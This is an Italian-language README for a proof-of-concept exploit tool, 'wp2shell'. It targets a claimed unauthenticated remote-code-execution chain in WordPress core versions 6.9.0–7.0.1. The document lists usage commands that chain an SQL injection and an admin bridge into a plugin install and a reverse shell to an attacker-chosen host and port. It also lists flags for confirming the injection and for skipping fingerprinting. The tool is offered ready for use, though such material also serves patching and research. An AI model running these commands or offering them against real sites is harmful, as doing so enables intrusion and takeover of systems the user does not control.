mverschu/cve-2026-63030Exploit PoC della RCE non autenticata del core di WordPress conosciuta come WP2Shell
| Nome | wp2shell |
| CVE | CVE-2026-63030 (desync del batch), CVE-2026-60137 (author__not_in SQLi) |
| Versioni interessate | WordPress da 6.9.0 a 6.9.4, da 7.0.0 a 7.0.1 |
| Corretto in | 6.9.5, 7.0.2 |
| Autenticazione necessaria | Nessuna |
| Scoperto da | Adam Kues (Searchlight Cyber / Assetnote) |
Host senza schema = rilevamento automatico dello schema (prova https:// e poi http://). Anteponi http:// o https:// solo quando vuoi forzarne uno.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| Flag | Cosa fa |
|---|---|
--shell [LHOST [LPORT]] | catena RCE standard; LHOST di default è l'IP di questa macchina, LPORT è 443 |
--rest-route | prova prima /?rest_route=/batch/v1 |
--verify-tls | verifica i certificati TLS (disattivata di default per lab o certificati autofirmati) |
--proxy URL | invia il traffico attraverso un proxy |
--force | salta il fingerprinting di WordPress |